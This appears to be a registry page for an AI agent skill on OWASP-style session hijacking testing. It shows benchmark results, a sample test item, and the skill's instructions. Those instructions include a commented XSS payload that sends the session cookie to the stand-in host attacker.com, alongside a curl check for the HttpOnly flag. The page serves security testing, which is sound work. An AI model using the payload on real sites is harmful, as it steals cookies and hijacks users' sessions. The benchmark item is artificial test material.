Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/wstg-sess-09
Testing for Session Hijacking
Passed 18 of 22 test cases with the skill, and 11 of 22 without it.
and 7 more in the full report
8 fixed10 passed either way3 still failing1 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 8 test cases the skill fixed. Same model, same prompt, with and without the skill.
In a shell script testing session reuse across client contexts, what HTTP header is overridden during the second curl invocation?
| Checked | Without skill | With skill |
|---|---|---|
| The secondary request includes a custom User-Agent header. | Missed | Passed |
The instructions your model reads when the skill loads.
WSTG-SESS-09
Testing for Session Hijacking
Session hijacking occurs when an attacker obtains a valid session token through various means (sniffing, XSS, prediction) and uses it to impersonate the legitimate user. This test evaluates the application's resilience against session hijacking attacks and the effectiveness of protective measures.
# If XSS exists, test cookie accessibility
# Inject and observe if session cookie is captured
# XSS payload for cookie theft
# <script>document.location='https://attacker.com/?c='+document.cookie</script>
# Check HttpOnly flag
curl -sI "https://target.com" | grep -i "set-cookie" | grep -i "httponly"
test cases passed, vs 11 / 22 without
Published skills whose descriptions closely match this one, with their headline benchmark lift.
More skills from the same source and nearby in the registry, with their headline benchmark lift.